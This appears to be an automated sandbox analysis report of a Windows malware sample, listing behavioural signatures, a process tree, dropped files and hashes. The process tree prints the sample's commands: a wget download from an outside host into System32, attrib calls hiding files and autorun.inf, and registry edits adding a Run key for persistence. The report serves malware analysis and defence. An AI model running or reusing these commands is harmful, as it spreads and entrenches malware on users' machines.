Analysis

  • max time kernel
    149s
  • max time network
    141s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    02/10/2026, 09:25

General

  • Target
    jaffacakes118_322762fd7175470ba0cccf1d8c1592dedbd41b33a9eaf8135bbdb8e25747e26f.exe
  • Size 393KB
  • Sample261002-ld38bashma
  • SHA256 322762fd7175470ba0cccf1d8c1592dedbd41b33a9eaf8135bbdb8e25747e26f
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets file to hidden 1 TTPs 6 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Drops autorun.inf file 1 TTPs 5 IoCs

    Malware can abuse Windows Autorun to spread further via attached volumes.

  • Drops file in System32 directory 6 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
  • UPX packed file 3 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Windows directory 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 19 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 4 IoCs
  • Modifies registry class 35 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs
  • Views/modifies file attributes 1 TTPs 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\jaffacakes118_322762fd7175470ba0cccf1d8c1592dedbd41b33a9eaf8135bbdb8e25747e26f.exe
    "C:\Users\Admin\AppData\Local\Temp\jaffacakes118_322762fd7175470ba0cccf1d8c1592dedbd41b33a9eaf8135bbdb8e25747e26f.exe"
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2656
    • C:\Users\Admin\AppData\Local\Temp\B85E.tmp\b2e.exe
      "C:\Users\Admin\AppData\Local\Temp\B85E.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\B85E.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\jaffacakes118_322762fd7175470ba0cccf1d8c1592dedbd41b33a9eaf8135bbdb8e25747e26f.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4868
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\BA81.tmp\batfile.bat" "
        3⤵
        • Checks computer location settings
        • Drops autorun.inf file
        • Drops file in System32 directory
        • Drops file in Windows directory
        • Executes a command shell one-liner
        • System Location Discovery: System Language Discovery
        • Modifies registry class
        • Suspicious use of WriteProcessMemory
        PID:1808
        • C:\Windows\SysWOW64\attrib.exe
          attrib -s -a -h -r thG.exe
          4⤵
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:4616
        • C:\Windows\SysWOW64\attrib.exe
          attrib -s -a -h -r C:\Windows\thG.exe
          4⤵
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:1920
        • C:\Windows\SysWOW64\attrib.exe
          attrib +s +a +h +r thG.exe
          4⤵
          • Sets file to hidden
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:4880
        • C:\Windows\SysWOW64\attrib.exe
          attrib +s +a +h +r C:\Windows\thG.exe
          4⤵
          • Sets file to hidden
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:2720
        • C:\Windows\SysWOW64\attrib.exe
          attrib +s +a +h +r autorun.*
          4⤵
          • Sets file to hidden
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:2880
        • C:\Windows\SysWOW64\attrib.exe
          attrib +s +a +h +r C:\Windows\autorun.*
          4⤵
          • Sets file to hidden
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:3452
        • C:\Windows\SysWOW64\attrib.exe
          attrib +s +a +h +r autorun.inf
          4⤵
          • Sets file to hidden
          • Drops autorun.inf file
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:2548
        • C:\Windows\SysWOW64\attrib.exe
          attrib +s +a +h +r C:\Windows\autorun.inf
          4⤵
          • Sets file to hidden
          • Drops autorun.inf file
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:4804
        • C:\Windows\SysWOW64\explorer.exe
          explorer .\
          4⤵
          • System Location Discovery: System Language Discovery
          PID:4452
        • C:\Users\Admin\AppData\Local\Temp\wget.exe
          wget "http://virae.org/trojanhorsegallery/getnew.php" -o C:\Windows\system32\sys.wglog -O C:\Windows\system32\sys.result
          4⤵
          • Executes dropped EXE
          • Drops file in System32 directory
          • Reads the TCP/IP host and domain name from the registry
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          PID:4668
        • C:\Windows\SysWOW64\reg.exe
          REG.EXE SAVE "HKCU\Control Panel\Desktop" C:\Windows\System32\orx.hiv /y
          4⤵
          • Drops file in System32 directory
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          PID:4864
        • C:\Windows\SysWOW64\reg.exe
          REG.EXE SAVE "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" C:\Windows\System32\ory.hiv /y
          4⤵
          • System Location Discovery: System Language Discovery
          PID:1516
        • C:\Windows\SysWOW64\reg.exe
          REG.EXE add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v Gallery /d "thG.exe" /f
          4⤵
          • Adds Run key to start application
          • System Location Discovery: System Language Discovery
          PID:4284
        • C:\Windows\SysWOW64\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Windows\System32\wthG.vbs"
          4⤵
          • Executes a VBScript file via the Windows Script Host.
          • System Location Discovery: System Language Discovery
          PID:4180
        • C:\Windows\SysWOW64\choice.exe
          CHOICE /C AB /N /D A /T 120
          4⤵
          • System Location Discovery: System Language Discovery
          PID:396
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\selfdel0.bat" "
        3⤵
        • Executes a command shell one-liner
        • System Location Discovery: System Language Discovery
        PID:1844
  • C:\Windows\explorer.exe
    C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of SetWindowsHookEx
    PID:4388
  • C:\Windows\System32\rundll32.exe
    C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
    1⤵
      PID:4700

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          b2e.exe

          • Path C:\Users\Admin\AppData\Local\Temp\B85E.tmp\b2e.exe
          • Size 338KB
          • SHA256 eec2fc6149559bd2ec380ae2cef6a40d595fbb26b152d7f003bfbab1f185fef5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          batfile.bat

          • Path C:\Users\Admin\AppData\Local\Temp\BA81.tmp\batfile.bat
          • Size 5KB
          • SHA256 1e6300eb1a22698920a0ec0661081841796db5ddb7d6c220cd808ad4a3d3b089
          • MD5 SHA1 SHA512 SSDEEP TLSH

          dgs.vbs

          • Path C:\Users\Admin\AppData\Local\Temp\dgs.vbs
          • Size 338B
          • SHA256 84cdbc878a8d09247e932fd9964c80f80d93bfb8a85832bae405a28f04f08d53
          • MD5 SHA1 SHA512 TLSH

          selfdel0.bat

          • Path C:\Users\Admin\AppData\Local\Temp\selfdel0.bat
          • Size 158B
          • SHA256 a5cad2f1a687ffdd6de52438bb2202258540f8e37d9d95e8d5f99a8377d2e8ab
          • MD5 SHA1 SHA512 TLSH

          wget.exe

          • Path C:\Users\Admin\AppData\Local\Temp\wget.exe
          • Size 325KB
          • SHA256 248e84e994a3aa6c8a1ae4a71a701e862900cc8491243bd4497502cc3b2c74f7
          • MD5 SHA1 SHA512 SSDEEP TLSH

          autorun.inf

          • Path C:\Windows\autorun.inf
          • Size 104B
          • SHA256 452477214de18bedd6b02d9e2d490f3264a93327b5e1b7adc3a43547bac3c6c7
          • MD5 SHA1 SHA512 TLSH

          memory/2656-11-0x0000000000400000-0x0000000000466000-memory.dmp

          memory/2656-0-0x0000000000400000-0x0000000000466000-memory.dmp

          memory/4668-33-0x0000000000400000-0x00000000004C6000-memory.dmp

          memory/4668-37-0x0000000000400000-0x00000000004C6000-memory.dmp

          memory/4868-62-0x0000000000400000-0x0000000000405000-memory.dmp

          memory/4868-68-0x0000000000400000-0x0000000000405000-memory.dmp

          memory/4868-8-0x0000000000400000-0x0000000000405000-memory.dmp